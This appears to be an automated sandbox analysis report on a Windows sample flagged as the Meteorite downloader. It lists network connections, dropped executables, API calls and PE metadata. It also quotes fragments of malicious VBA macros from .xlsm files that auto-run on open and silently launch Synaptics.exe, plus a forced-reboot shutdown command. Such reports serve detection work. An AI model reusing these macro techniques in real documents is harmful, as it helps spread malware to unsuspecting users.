Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50247 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50312 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50311 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50319 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50322 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50329 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50331 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50363 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50362 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50364 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50365 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50371 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50373 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50396 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50425 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50443 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50441 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50453 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50470 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50469 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50472 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50471 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50482 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50484 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50486 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50489 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50487 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50488 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50496 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50497 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50505 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50506 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50507 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50508 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50525 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50524 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50531 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50532 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50539 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50540 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50541 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50542 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50554 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50555 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50558 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50556 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50559 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50557 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50561 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50562 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50574 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50575 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50576 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50578 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50581 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50585 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50584 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50597 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50599 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50610 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50611 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50616 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50615 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50614 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50617 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50623 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50624 version: TLS 1.2

Source: C:\Windows\wic.exe

Code function: 12_2_009335FC __EH_prolog3_catch_GS,CreateCompatibleDC,CreateCompatibleBitmap,FillRect,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

12_2_009335FC

Source: C:\Windows\wic.exe

Code function: 12_2_008D86D8 GetKeyState,GetAsyncKeyState,SendMessageA,IsRectEmpty,IsRectEmpty,SendMessageA,GetClientRect,InvalidateRect,InvalidateRect,UpdateWindow,

12_2_008D86D8

Source: C:\Windows\wic.exe

Code function: 12_2_0088146C GetKeyState,GetKeyState,GetKeyState,SendMessageA,

12_2_0088146C

System Summary

Malicious sample detected (through community Yara rule)

Source: file.exe, type: SAMPLE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 5.3.Synaptics.exe.2124000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 5.3.Synaptics.exe.6dfe20.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 5.3.Synaptics.exe.2124000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 5.3.Synaptics.exe.6dfe20.0.unpack, type: UNPACKEDPE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 5.3.Synaptics.exe.6d63f8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 5.3.Synaptics.exe.6d63f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 00000005.00000003.1514402089.0000000002124000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\RCXF081.tmp, type: DROPPED	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp, type: DROPPED	Matched rule: Detects Meteorite downloader Author: ditekSHen

Document contains an embedded VBA macro with suspicious strings

Source: EM5YRGNl.xlsm.5.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: EM5YRGNl.xlsm.5.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: EM5YRGNl.xlsm.5.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: EM5YRGNl.xlsm.5.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: EM5YRGNl.xlsm.5.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: EM5YRGNl.xlsm.5.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: EM5YRGNl.xlsm.5.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: EM5YRGNl.xlsm.5.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: EM5YRGNl.xlsm.5.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: EM5YRGNl.xlsm.5.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: EM5YRGNl.xlsm.5.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: QCFWYSKMHA.xlsm.5.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: QCFWYSKMHA.xlsm.5.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: QCFWYSKMHA.xlsm.5.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: QCFWYSKMHA.xlsm.5.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: QCFWYSKMHA.xlsm.5.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: QCFWYSKMHA.xlsm.5.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: QCFWYSKMHA.xlsm.5.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: QCFWYSKMHA.xlsm.5.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: QCFWYSKMHA.xlsm.5.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: QCFWYSKMHA.xlsm.5.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: QCFWYSKMHA.xlsm.5.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: EM5YRGNl.xlsm.5.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: QCFWYSKMHA.xlsm.5.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: EM5YRGNl.xlsm.5.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: QCFWYSKMHA.xlsm.5.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: EM5YRGNl.xlsm.5.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: QCFWYSKMHA.xlsm.5.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Uses shutdown.exe to shutdown or reboot the system

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\shutdown.exe shutdown /r /t 0

Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_00409080 CreateFontIndirectA,73F7A570,SetBkMode,GetObjectA,SelectObject,73F84D40,DeleteDC,NtdllDefWindowProc_A,CreateWindowExA,CreateWindowExA,SelectObject,73F84D40,DeleteDC,73F7A570,SetBkMode,GetObjectA,SelectObject,SetTextColor,SetTextAlign,TextOutA,EndDialog,		4_2_00409080
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_004093C0 InvalidateRect,InvalidateRect,InvalidateRect,InvalidateRect,InvalidateRect,InvalidateRect,InvalidateRect,73F7A570,SetBkMode,GetObjectA,SelectObject,GetPixel,DeleteDC,GetObjectA,SelectObject,GetPixel,DeleteDC,GetObjectA,SelectObject,GetPixel,DeleteDC,ScrollWindow,InvalidateRect,InvalidateRect,InvalidateRect,ScrollWindow,InvalidateRect,InvalidateRect,InvalidateRect,InvalidateRect,ScrollWindow,InvalidateRect,InvalidateRect,NtdllDefWindowProc_A,		4_2_004093C0

Source: C:\Program Files (x86)\4.exe

Code function: 10_2_00E07AAF: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

10_2_00E07AAF

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\wic.exe	Jump to behavior
Source: C:\Windows\wic.exe	File created: C:\Windows\cbas.exe
Source: C:\Windows\wic.exe	File created: C:\Windows\msslac.dll

Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_0040A8F0	4_2_0040A8F0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_0040DCA0	4_2_0040DCA0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_0040D8B0	4_2_0040D8B0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_00407D50	4_2_00407D50
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_0040F203	4_2_0040F203
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_00405AF0	4_2_00405AF0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_0040D2A0	4_2_0040D2A0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_004093C0	4_2_004093C0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_0040E790	4_2_0040E790
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E092C6	10_2_00E092C6
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E17DDC	10_2_00E17DDC
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E15011	10_2_00E15011
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E102F7	10_2_00E102F7
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E262A8	10_2_00E262A8
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E15282	10_2_00E15282
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E18253	10_2_00E18253
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E113FD	10_2_00E113FD
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E264D7	10_2_00E264D7
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E1742E	10_2_00E1742E
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E155B0	10_2_00E155B0
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E2E600	10_2_00E2E600
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E107A7	10_2_00E107A7
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E188AF	10_2_00E188AF
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E0D833	10_2_00E0D833
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E0395A	10_2_00E0395A
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E2EAAE	10_2_00E2EAAE
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E04A8E	10_2_00E04A8E
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E32BB4	10_2_00E32BB4
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E0FCCC	10_2_00E0FCCC
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E02EB6	10_2_00E02EB6
Source: C:\Windows\wic.exe	Code function: 12_2_008D86D8	12_2_008D86D8
Source: C:\Windows\wic.exe	Code function: 12_2_0088E758	12_2_0088E758
Source: C:\Windows\wic.exe	Code function: 12_2_009CE924	12_2_009CE924
Source: C:\Windows\wic.exe	Code function: 12_2_009AEDB4	12_2_009AEDB4
Source: C:\Windows\wic.exe	Code function: 12_2_008EF06E	12_2_008EF06E
Source: C:\Windows\wic.exe	Code function: 12_2_00895851	12_2_00895851
Source: C:\Windows\wic.exe	Code function: 12_2_0089B905	12_2_0089B905
Source: C:\Windows\wic.exe	Code function: 12_2_00893BD0	12_2_00893BD0
Source: C:\Windows\wic.exe	Code function: 12_2_008C5EC8	12_2_008C5EC8
Source: C:\Windows\wic.exe	Code function: 12_2_008B1E3F	12_2_008B1E3F

Source: EM5YRGNl.xlsm.5.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: EM5YRGNl.xlsm.5.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: QCFWYSKMHA.xlsm.5.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: QCFWYSKMHA.xlsm.5.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: C:\Windows\wic.exe	Code function: String function: 00886486 appears 44 times
Source: C:\Windows\wic.exe	Code function: String function: 00862320 appears 32 times
Source: C:\Windows\wic.exe	Code function: String function: 009ABA4A appears 291 times
Source: C:\Windows\wic.exe	Code function: String function: 009ABB30 appears 36 times
Source: C:\Windows\wic.exe	Code function: String function: 009ABA7E appears 122 times
Source: C:\Windows\wic.exe	Code function: String function: 009AB512 appears 49 times
Source: C:\Program Files (x86)\4.exe	Code function: String function: 00E1FFD0 appears 56 times
Source: C:\Program Files (x86)\4.exe	Code function: String function: 00E207A0 appears 31 times
Source: C:\Program Files (x86)\4.exe	Code function: String function: 00E1FEFC appears 42 times

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5500 -s 33616

Source: file.exe	Static PE information: Resource name: RT_VERSION type: Intel ia64 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: 1[1].exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Source: 1[1].exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: 1.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Source: 1.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: 2[1].exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: 2[1].exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: 2.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: 2.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ._cache_1.exe.3.dr	Static PE information: Resource name: RT_DIALOG type: COM executable for DOS
Source: Synaptics.exe.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Source: Synaptics.exe.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXE7D7.tmp.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: 6QWwVh6L.exe.5.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXF081.tmp.5.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Source: RCXF081.tmp.5.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXF0C1.tmp.5.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Source: RCXF0C1.tmp.5.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ~$cache1.5.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: msslac[1].dll.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: msslac.dll.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000003.1482769164.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000003.1482825479.0000000000776000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000002.1587736461.0000000000407000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameDVarFileInfo$ vs file.exe
Source: file.exe, 00000000.00000000.1447160191.0000000000407000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameDVarFileInfo$ vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameDVarFileInfo$ vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: file.exe, type: SAMPLE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 5.3.Synaptics.exe.2124000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
